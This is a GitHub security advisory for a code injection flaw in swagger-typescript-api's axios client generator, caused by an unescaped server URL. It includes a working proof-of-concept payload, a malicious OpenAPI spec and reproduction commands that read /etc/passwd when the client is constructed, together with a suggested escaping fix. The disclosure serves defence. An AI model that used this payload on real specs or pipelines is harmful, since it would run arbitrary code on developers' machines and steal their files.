Skip to content

swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template

High severity GitHub Reviewed Published Jun 8, 2026 in acacode/swagger-typescript-api • Updated Jul 29, 2026

Package

npm swagger-typescript-api (npm)

Affected versions

<= 13.12.1

Patched versions

13.12.2

Description

Summary

swagger-typescript-api interpolates servers[0].url directly into a TypeScript string literal inside the HttpClient constructor body of the generated axios client (templates/base/http-clients/axios-http-client.ejs:71), without any escaping. A malicious URL containing a " closes the string literal and exposes the surrounding object-literal argument of axios.create({...}) to injection. A computed property key whose value is an IIFE executes arbitrary code every time new HttpClient() (or new Api(), which extends HttpClient) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process's privileges.

This is the axios sibling of the previously reported fetch-client RCE — same upstream variable (apiConfig.baseUrl, sourced from servers[0].url), same root cause class (raw <%~ %> interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix — sanitizing apiConfig.baseUrl once at the source in src/code-gen-process.ts:591 — closes both at once.

Details

createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:

return {
  ...
  baseUrl: serverUrl,     // <-- serverUrl = swaggerSchema.servers[0].url, raw
  ...
};

The axios http-client template (templates/base/http-clients/axios-http-client.ejs:71) then interpolates that value into a TS string literal inside the HttpClient constructor body:

constructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig<SecurityDataType> = {}) {
    this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || "<%~ apiConfig.baseUrl %>" })
    ...
}

<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function — escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) — only replaces */ and is not applied to this path.

The injection sits inside a JavaScript object literal (the argument to axios.create({...})), so simple statement-level injection is not directly possible — but computed property keys are. A spec value of the form:

URL", [(IIFE)()]: 0, dummy: "

produces the following object literal:

axios.create({
  ...axiosConfig,
  baseURL: axiosConfig.baseURL || "URL",
  [(IIFE)()]: 0,
  dummy: ""
})

The IIFE evaluates eagerly when the object literal is constructed — i.e. every time new HttpClient() runs. The trailing dummy: "" reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.

Lifecycle compared to the fetch sink: the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on new HttpClient(). In practice the trigger window is identical, because:

  • Every README example in this repository does const api = new Api() at module top level.
  • Api (in default/api.ejs) extends HttpClient, so new Api() invokes the HttpClient constructor via super().
  • Top-level const api = new Api() runs at module load — the consumer cannot import without instantiating in the documented usage pattern.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious servers[0].url (literal string, JSON-encoded in the spec below):

https://api.example.com", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: "

Minimal payload spec:

{
  "openapi": "3.0.0",
  "info": { "title": "AxiosPayloadAPI", "version": "1.0.0" },
  "servers": [
    {
      "url": "https://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \""
    }
  ],
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}

Steps:

npm install swagger-typescript-api@13.12.1 esbuild axios
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'axios'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
  const mod = await import('./out/Api.bundle.mjs');
  new mod.HttpClient();
  await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (constructor — payload, Biome-formatted):

constructor({
  securityWorker,
  secure,
  format,
  ...axiosConfig
}: ApiConfig<SecurityDataType> = {}) {
  this.instance = axios.create({
    ...axiosConfig,
    baseURL: axiosConfig.baseURL || "https://api.example.com",
    [(async () => {
      try {
        const fs = await import("node:fs");
        const data = fs.readFileSync("/etc/passwd", "utf8");
        fs.writeFileSync("/tmp/sta_canary", data);
      } catch (e) {}
      return "pwned";
    })()]: 0,
    dummy: "",
  });
  this.secure = secure;
  this.format = format;
  this.securityWorker = securityWorker;
}

The [(async () => { ... })()]: 0 is a real computed object-literal key — Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the axios.create({...}) argument is constructed (during the HttpClient constructor), schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.

Result: after new HttpClient(), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean baseURL: ... || "https://api.example.com" and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api with httpClientType: "axios" (or --http-client axios) against an OpenAPI spec they did not author entirely:

  • sta generate --http-client axios --url https://attacker.example/openapi.json — a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.
  • Any project pinned to a spec file that a contributor can modify via PR.

Lifecycle: the injected IIFE fires when new HttpClient() is constructed. In the standard usage pattern (const api = new Api() at module top level), this is effectively at first import — Api extends HttpClient and the super() call invokes the affected constructor. A consumer cannot use the generated client without constructing it.

Privilege: the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.

Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:

// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),

where escapeJsStringLiteral produces a properly-escaped JS string literal — at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change closes both this advisory and the previously reported fetch-client variant without further template edits.

If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form — fixing only one leaves the other exploitable.

Submitted by: Hamza Haroon (thegr1ffyn)

References

@js2me js2me published to acacode/swagger-typescript-api Jun 8, 2026
Published to the GitHub Advisory Database Jul 29, 2026
Reviewed Jul 29, 2026
Last updated Jul 29, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(19th percentile)

Weaknesses

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. Learn more on MITRE.

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Improper Neutralization of Special Elements Used in a Template Engine

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. Learn more on MITRE.

CVE ID

CVE-2026-54661

GHSA ID

GHSA-38c3-wv3c-v3xj

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.